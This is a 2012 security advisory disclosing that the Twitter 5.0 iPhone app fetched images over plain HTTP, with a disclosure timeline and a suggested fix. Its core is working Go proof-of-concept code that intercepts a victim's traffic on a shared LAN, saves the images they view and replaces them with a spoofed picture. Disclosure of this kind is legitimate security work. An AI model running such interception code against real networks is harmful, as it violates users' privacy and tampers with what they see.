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Twitter 5.0 Eavesdropping Proof Of Concept

Twitter 5.0 Eavesdropping Proof Of Concept
Posted Nov 22, 2012
Authored by Carlos Reventlov

The Twitter 5.0 application for iPhone grabs images over HTTP and due to this, allows for a man in the middle attack / image swap. Proof of concept included.

tags | exploit, web, proof of concept
systems | apple, iphone
MD5 | 98ef370a606a1bdfefb0f0de75168c75

Twitter 5.0 Eavesdropping Proof Of Concept

Change Mirror Download
## Twitter App vulnerable to eavesdropping

* Vendor: Twitter Inc.
* Product: Twitter 5.0
* Tested on: iPhone 4 (iOS 6.0)
* Vendor notification: Nov 10, 2012.
* Risk level: Low
* Researcher: Carlos Reventlov
* Link: http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm

The Twitter 5.0 app for the iPhone is vulnerable to eavesdropping via
[Man In The Middle][1], this vulnerability can lead an attacker on the same
local area network (LAN) to capture and/or modify pictures the victim
is seeing on the Twitter app.

### Details

The Twitter app communicates with the Twitter API via HTTPs connections,
however, picture images server by *.twimg.com are received through simple HTTP.

### Proof of concept

Read http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm
to see the PoC's screen captures.

This custom [hyperfox][2] server will listen on `:9999`. This PoC
captures pictures the user is seeing and sends a
bogus picture (`spoof.jpg`) instead of the original. Read the
[hyperfox][2] docs to know how to launch this PoC.

Only images on the *.twimg.com domain are targeted.

```go
/*
Twitter App, eavesdroping PoC

Written by Carlos Reventlov <carlos@reventlov.com>
License MIT
*/

package main

import (
"fmt"
"github.com/xiam/hyperfox/proxy"
"github.com/xiam/hyperfox/tools/logger"
"io"
"log"
"os"
"path"
"strconv"
"strings"
)

const imageFile = "spoof.jpg"

func init() {
_, err := os.Stat(imageFile)
if err != nil {
panic(err.Error())
}
}

func replaceAvatar(pr *proxy.ProxyRequest) error {
stat, _ := os.Stat(imageFile)
image, _ := os.Open(imageFile)

host := pr.Response.Request.Host

if strings.HasSuffix(host, "twimg.com") == true {

if pr.Response.ContentLength != 0 {

file := "saved" + proxy.PS + pr.FileName

var ext string

contentType := pr.Response.Header.Get("Content-Type")

switch contentType {
case "image/jpeg":
ext = ".jpg"
case "image/gif":
ext = ".gif"
case "image/png":
ext = ".png"
case "image/tiff":
ext = ".tiff"
}

if ext != "" {
fmt.Printf("** Saving image.\n")

os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))

fp, _ := os.Create(file)

if fp == nil {
fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file))
}

io.Copy(fp, pr.Response.Body)

fp.Close()

pr.Response.Body.Close()
}

}

fmt.Printf("** Sending bogus image.\n")

pr.Response.ContentLength = stat.Size()
pr.Response.Header.Set("Content-Type", "image/jpeg")
pr.Response.Header.Set("Content-Length",
strconv.Itoa(int(pr.Response.ContentLength)))
pr.Response.Body = image
}

return nil
}

func main() {

p := proxy.New()

p.AddDirector(logger.Client(os.Stdout))

p.AddInterceptor(replaceAvatar)

p.AddLogger(logger.Server(os.Stdout))

var err error

err = p.Start()

if err != nil {
log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
}
}
```

### Suggested fix

Use HTTPs for serving *.twimg.com images so that an attacker would not be able
to capture or modify avatars or (possible private) uploaded images.

## Disclosure timeline

* Nov 10, 2012 Vulnerability discovered.
* Nov 10, 2012 Vendor contacted.
* Nov 15, 2012 Vendor response: "planned to be fixed on next release".
* Nov 15, 2012 New release 5.1, bug is patched.
* Nov 16, 2012 Full disclosure.

[1]: http://en.wikipedia.org/wiki/Man-in-the-middle_attack
[2]: http://reventlov.com/projects/hyperfox

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